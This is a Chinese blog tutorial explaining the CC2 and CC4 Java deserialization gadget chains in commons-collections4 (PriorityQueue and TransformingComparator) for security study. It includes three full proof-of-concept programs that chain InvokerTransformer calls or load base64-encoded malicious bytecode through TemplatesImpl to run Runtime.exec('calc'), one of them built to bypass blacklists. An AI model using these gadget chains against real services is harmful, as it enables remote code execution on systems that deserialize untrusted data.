Java反序列化-CC2分析

简介: Java反序列化-CC2分析

如何将PriorityQueue、TransformingComparator 作为入口点和跳板去利用

首先看一下作为跳板的 TransformingComparator 类是怎么调用到利用链的


public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

在 TransformingComparator#compare 方法中,调用到了transform 方法去修饰 obj1、obj2 的值。就是这个方法调用到了利用链

接着在看一下 PriorityQueue 类是怎么作为入口点去利用的


private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
        // Read in (and discard) array length
        s.readInt();
        queue = new Object[size];
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

在PriorityQueue#readObject 方法中,将反序列化的数据存放在queue 字段中,之后调用 heapify 方法来对数据进行调整,形成二叉堆

在对数据进行调整的时候会对数据进行比较,将较小的数排列在前面。而在对数据进行比较的时候就会调用到compare 方法,从而让PriorityQueue 类和TransformingComparator产生联系。看一下这个操作是怎么在代码中实现的


private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

在 heapify 方法中,采用将数向后移动的方式来对数据进行调整。


private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

在后移之前会判断,判断是否有比较器 (compar),如果有的话则调用if 中的方法,否则调用 else 中的方法。这里直接看i分钟的方法,因为只有当有比较器的时候才会调用比较器中的方法来比较两个数


private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

可以看见,if 中的方法,调用了比较器中的比较方法去对两个数进行比较。就是这一步操作,让作为入口点的 PriorityQueue 类可以于作为跳板的TransformingComparator 类结合起来使用。

利用PriorityQueue 和TransformingComparator 构造poc

这里先给出利用链


PriorityQueue.readObject()
  TransformingComparator.compare()
    ChainedTransformer.transform()
      InvokerTransformer.transform()

开始构造poc

public static void main(String[] args) throws Exception{
        //构造恶意数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //构造无害数组
        Transformer[] test = new Transformer[]{};
        //在执行add方法 调用compare 方法进行比较的时候使用无害的数组
        ChainedTransformer chain = new ChainedTransformer(test);
        PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);
        //在调用完add 方法后通过反射修改 chain的数组,将无害数组替换成恶意数组,之后反序列化的初始化二叉堆的时候调用恶意数组执行代码
        Field field = chain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chain,transformers);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));
        oos.writeObject(queue);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));
        ois.readObject();
    }

这里还可以使用CC3中的 TemplatesImpl 类来构造poc

这里就不讲解了,直接给出poc

public static void main(String[] args) throws Exception{
        //创建恶意字节码
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
        setFieldValue(obj,"_name","sakut2");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        //先使用无危害payload 以免提前触发漏洞 参考URLDNS
        Transformer transformer = new InvokerTransformer("toString",null,null);
        PriorityQueue queue = new PriorityQueue(new TransformingComparator(transformer));
        //将恶意字节码添加到queue 中,反序列化调整二叉堆时作为比较的参数使用
        queue.add(obj);
        queue.add(obj);
        //在add 方法执行完之后修改payload 之后反序列化的时候就会触发漏洞代码了
        setFieldValue(transformer,"iMethodName","newTransformer");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));
        oos.writeObject(queue);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));
        ois.readObject();
    }
        public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

commons-collections4 在CC2中的作用

在上面的poc 中可能大家觉得commons-collections4和commons-collections 没什么区别啊,新用到的这两个类在commons-collections 中也有啊,为什么不能直接用 commons-collections 来构造poc。

在这里,只看poc 可能看不出什么区别,但要使用commons-collections 运行这个poc 就会发现报错了。这里把commons-collections4中导入的类全部注入替换成commons-collections 中的类 ,然后运行一下看看会是什么结果。

image.png

image.png

发现在将类序列化的时候抛出了异常,这里爆出TransformingComparator 不具有Serializable 接口。

在commons-collections 中,TransformingComparator 类并不具有 Serializable 接口,所以在进行序列化操作的时候会报错。在commons-collections4 中,对TransformingComparator 类添加了 Serializable 接口 使其具有序列化的功能。

CC4

在CC3 中有讲过黑名单这个概念,CC4 就是绕黑名单的CC2,其原理是一样的。这里直接给出poc


public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void main(String[] args) throws Exception{
        //创建恶意字节码
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
        setFieldValue(obj,"_name","sakut2");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        //创建无危害数组
        Transformer[] transformer = new Transformer[]{};
        //构造恶意数组
        Transformer[] exp = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
        };
        //将数组带入类中
        ChainedTransformer chain = new ChainedTransformer(transformer);
        PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);
        setFieldValue(chain,"iTransformers",exp);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Temp_CC4"));
        oos.writeObject(queue);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("Temp_CC4"));
        ois.readObject();
    }
目录
相关文章
|
1月前
|
存储 Java
【编程基础知识】 分析学生成绩:用Java二维数组存储与输出
本文介绍如何使用Java二维数组存储和处理多个学生的各科成绩,包括成绩的输入、存储及格式化输出,适合初学者实践Java基础知识。
67 1
|
14天前
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
49 5
|
14天前
|
存储 Java 关系型数据库
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践,包括连接创建、分配、复用和释放等操作,并通过电商应用实例展示了如何选择合适的连接池库(如HikariCP)和配置参数,实现高效、稳定的数据库连接管理。
31 2
|
15天前
|
存储 缓存 安全
🌟Java零基础:深入解析Java序列化机制
【10月更文挑战第20天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
21 3
|
18天前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
|
15天前
|
Java 关系型数据库 数据库
面向对象设计原则在Java中的实现与案例分析
【10月更文挑战第25天】本文通过Java语言的具体实现和案例分析,详细介绍了面向对象设计的五大核心原则:单一职责原则、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则。这些原则帮助开发者构建更加灵活、可维护和可扩展的系统,不仅适用于Java,也适用于其他面向对象编程语言。
10 2
|
1月前
|
Java
让星星⭐月亮告诉你,Java synchronized(*.class) synchronized 方法 synchronized(this)分析
本文通过Java代码示例,介绍了`synchronized`关键字在类和实例方法上的使用。总结了三种情况:1) 类级别的锁,多个实例对象在同一时刻只能有一个获取锁;2) 实例方法级别的锁,多个实例对象可以同时执行;3) 同一实例对象的多个线程,同一时刻只能有一个线程执行同步方法。
18 1
|
18天前
|
存储 缓存 NoSQL
一篇搞懂!Java对象序列化与反序列化的底层逻辑
本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
15 0
|
19天前
|
存储 Java 编译器
[Java]基本数据类型与引用类型赋值的底层分析
本文详细分析了Java中不同类型引用的存储方式,包括int、Integer、int[]、Integer[]等,并探讨了byte与其他类型间的转换及String的相关特性。文章通过多个示例解释了引用和对象的存储位置,以及字符串常量池的使用。此外,还对比了String和StringBuilder的性能差异,帮助读者深入理解Java内存管理机制。
18 0
|
6天前
|
安全 Java 测试技术
Java并行流陷阱:为什么指定线程池可能是个坏主意
本文探讨了Java并行流的使用陷阱,尤其是指定线程池的问题。文章分析了并行流的设计思想,指出了指定线程池的弊端,并提供了使用CompletableFuture等替代方案。同时,介绍了Parallel Collector库在处理阻塞任务时的优势和特点。